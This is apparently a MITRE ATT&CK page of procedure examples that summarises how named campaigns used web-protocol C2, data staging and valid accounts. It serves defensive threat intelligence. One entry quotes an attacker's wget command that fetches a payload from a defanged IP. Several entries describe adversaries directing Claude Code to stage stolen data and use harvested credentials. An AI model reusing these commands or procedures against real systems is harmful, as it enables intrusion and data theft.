ATT&CKProcedure examples

Procedure examples

Real-world descriptions of how a group, tool or campaign used a technique.

1213 examples

TechniqueUsed byProcedure example
T1071.001
Web Protocols
Campaign3CX Supply Chain Attack

During the 3CX Supply Chain Attack, AppleJeus's COLDCAT C2 leverages cookie headers to contain data over HTTPS. Cookies also contain hardcoded variables `__tutma` or `__tutmc` in the payload's HTTPS request.

T1071.001
Web Protocols
CampaignC0018

During C0018, the threat actors used HTTP for C2 communications.

T1071.001
Web Protocols
CampaignC0021

During C0021, the threat actors used HTTP for some of their C2 communications.

T1071.001
Web Protocols
CampaignJuicy Mix

During Juicy Mix, OilRig used a VBS script to send POST requests to register installed malware with C2.

T1071.001
Web Protocols
CampaignSolarWinds Compromise

During the SolarWinds Compromise, APT29 used HTTP for C2 and data exfiltration.

T1071.001
Web Protocols
CampaignOperation CuckooBees

During Operation CuckooBees, the threat actors enabled HTTP and HTTPS listeners.

T1071.001
Web Protocols
CampaignOuter Space

During Outer Space, OilRig used HTTP to communicate between installed backdoors and compromised servers including via the Microsoft Exchange Web Services API.

T1071.001
Web Protocols
CampaignArcaneDoor

ArcaneDoor command and control activity was conducted through HTTP.

T1071.001
Web Protocols
CampaignAPT41 DUST

APT41 DUST used HTTPS for command and control.

T1071.001
Web Protocols
CampaignNight Dragon

During Night Dragon, threat actors used HTTP for C2.

T1071.001
Web Protocols
CampaignVersa Director Zero Day Exploitation

Versa Director Zero Day Exploitation established HTTPS communications from adversary-controlled SOHO devices over port 443 with compromised Versa Director servers.

T1071.001
Web Protocols
CampaignOperation Wocao

During Operation Wocao, threat actors’ XServer tool communicated using HTTP and HTTPS.

T1071.001
Web Protocols
CampaignC0017

During C0017, APT41 ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.

T1071.001
Web Protocols
CampaignQuad7 Activity

Quad7 Activity has used the same User Agents of Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko and Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 combined with a reference to the Microsoft Azure PowerShell Application ID 1950a258-227b-4e31-a9cf-717495945fc2 in their sign-in attempts.

T1071.002
File Transfer Protocols
CampaignOperation Honeybee

During Operation Honeybee, the threat actors had the ability to use FTP for C2.

T1071.002
File Transfer Protocols
CampaignQuad7 Activity

Quad7 Activity has used a File Transfer Protocol (FTP) server to download malicious binaries.

T1071.004
DNS
CampaignCutting Edge

During Cutting Edge, threat actors used DNS to tunnel IPv4 C2 traffic.

T1072
Software Deployment Tools
CampaignC0018

During C0018, the threat actors used PDQ Deploy to move AvosLocker and tools across the network.

T1074
Data Staged
CampaignAI-Assisted Breach of Mexico's Government Infrastructure

During the AI-Assisted Breach of Mexico's Government Infrastructure, the adversary had Claude Code document select findings in the skills Markdown (MD) file for future recollection.

T1074.001
Local Data Staging
CampaignSharePoint ToolShell Exploitation

During SharePoint ToolShell Exploitation, threat actors staged stolen data from web.config files to debug_dev.js.

T1074.001
Local Data Staging
CampaignOperation Honeybee

During Operation Honeybee, stolen data was copied into a text file using the format `From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt` prior to compression, encoding, and exfiltration.

T1074.001
Local Data Staging
CampaignOperation MidnightEclipse

During Operation MidnightEclipse, threat actors copied files to the web application folder on compromised devices for exfiltration.

T1074.001
Local Data Staging
CampaignAnthropic AI-orchestrated Campaign

During the Anthropic AI-orchestrated Campaign, the adversary used Claude Code to stage extracted data and operational documentation in structured markdown files on local systems prior to exfiltration.

T1074.001
Local Data Staging
CampaignC0015

During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.

T1074.001
Local Data Staging
CampaignJuicy Mix

During Juicy Mix, OilRig used browser data and credential stealer tools to stage stolen files named Cupdate, Eupdate, and IUpdate in the %TEMP% directory.

T1074.001
Local Data Staging
CampaignC0032

During the C0032 campaign, TEMP.Veles used staging folders that are infrequently used by legitimate users or processes to store data for exfiltration and tool deployment.

T1074.001
Local Data Staging
CampaignAPT28 Nearest Neighbor Campaign

During APT28 Nearest Neighbor Campaign, APT28 staged captured credential information in the C:\ProgramData directory.

T1074.001
Local Data Staging
Campaign2025 Poland Wiper Attacks

During the 2025 Poland Wiper Attacks, the adversaries compiled discovery data locally on the victim host in a file located within `C:\Windows\TEMP\outlog.txt`.

T1074.001
Local Data Staging
CampaignAPT41 DUST

APT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration.

T1074.001
Local Data Staging
CampaignOperation Wocao

During Operation Wocao, threat actors staged archived files in a temporary directory prior to exfiltration.

T1074.001
Local Data Staging
CampaignLeviathan Australian Intrusions

Leviathan stored captured credential material on local log files on victim systems during Leviathan Australian Intrusions.

T1074.001
Local Data Staging
CampaignC0017

During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.

T1074.002
Remote Data Staging
CampaignSolarWinds Compromise

During the SolarWinds Compromise, APT29 staged data and files in password-protected archives on a victim's OWA server.

T1074.002
Remote Data Staging
CampaignNight Dragon

During Night Dragon, threat actors copied files to company web servers and subsequently downloaded them.

T1078
Valid Accounts
CampaignRedPenguin

During RedPenguin, UNC3886 used legitimate credentials to gain priviliged access to Juniper routers.

T1078
Valid Accounts
CampaignOperation MidnightEclipse

During Operation MidnightEclipse, threat actors extracted sensitive credentials while moving laterally through compromised networks.

T1078
Valid Accounts
Campaign2015 Ukraine Electric Power Attack

During the 2015 Ukraine Electric Power Attack, Sandworm Team used valid accounts on the corporate network to escalate privileges, move laterally, and establish persistence within the corporate network.

T1078
Valid Accounts
Campaign3CX Supply Chain Attack

During 3CX Supply Chain Attack, AppleJeus has gained access to the 3CX corporate environment through legitimate VPN credentials.

T1078
Valid Accounts
CampaignAnthropic AI-orchestrated Campaign

During the Anthropic AI-orchestrated Campaign, the adversary used harvested credentials to authenticate against internal APIs, database systems, container registries, and logging infrastructure across targeted networks.

T1078
Valid Accounts
CampaignHomeLand Justice

During HomeLand Justice, threat actors used a compromised Exchange account to search mailboxes and create new Exchange accounts.

T1078
Valid Accounts
CampaignC0032

During the C0032 campaign, TEMP.Veles used compromised VPN accounts.

T1078
Valid Accounts
CampaignSolarWinds Compromise

During the SolarWinds Compromise, APT29 used different compromised credentials for remote access and to move laterally.

T1078
Valid Accounts
CampaignNight Dragon

During Night Dragon, threat actors used compromised VPN accounts to gain access to victim systems.

T1078
Valid Accounts
CampaignOperation Wocao

During Operation Wocao, threat actors used valid VPN credentials to gain initial access.

T1078
Valid Accounts
CampaignLeviathan Australian Intrusions

Leviathan used captured, valid account information to log into victim web applications and appliances during Leviathan Australian Intrusions.

T1078
Valid Accounts
CampaignAI-Assisted Breach of Mexico's Government Infrastructure

During the AI-Assisted Breach of Mexico's Government Infrastructure, the adversary tasked Claude Code to leverage compromised valid credentials to authenticate to victim hosts and services.

T1078.001
Default Accounts
CampaignHomeLand Justice

During HomeLand Justice, threat actors used the built-in administrator account to move laterally using RDP and Impacket.

T1078.002
Domain Accounts
CampaignOperation MidnightEclipse

During Operation MidnightEclipse, threat actors used a compromised domain admin account to move laterally.

T1078.002
Domain Accounts
CampaignCutting Edge

During Cutting Edge, threat actors used compromised VPN accounts for lateral movement on targeted networks.

T1078.002
Domain Accounts
CampaignOperation Ghost

For Operation Ghost, APT29 used stolen administrator credentials for lateral movement on compromised networks.

Data from MITRE ATT&CK® (Enterprise). ATT&CK® is a registered trademark of The MITRE Corporation.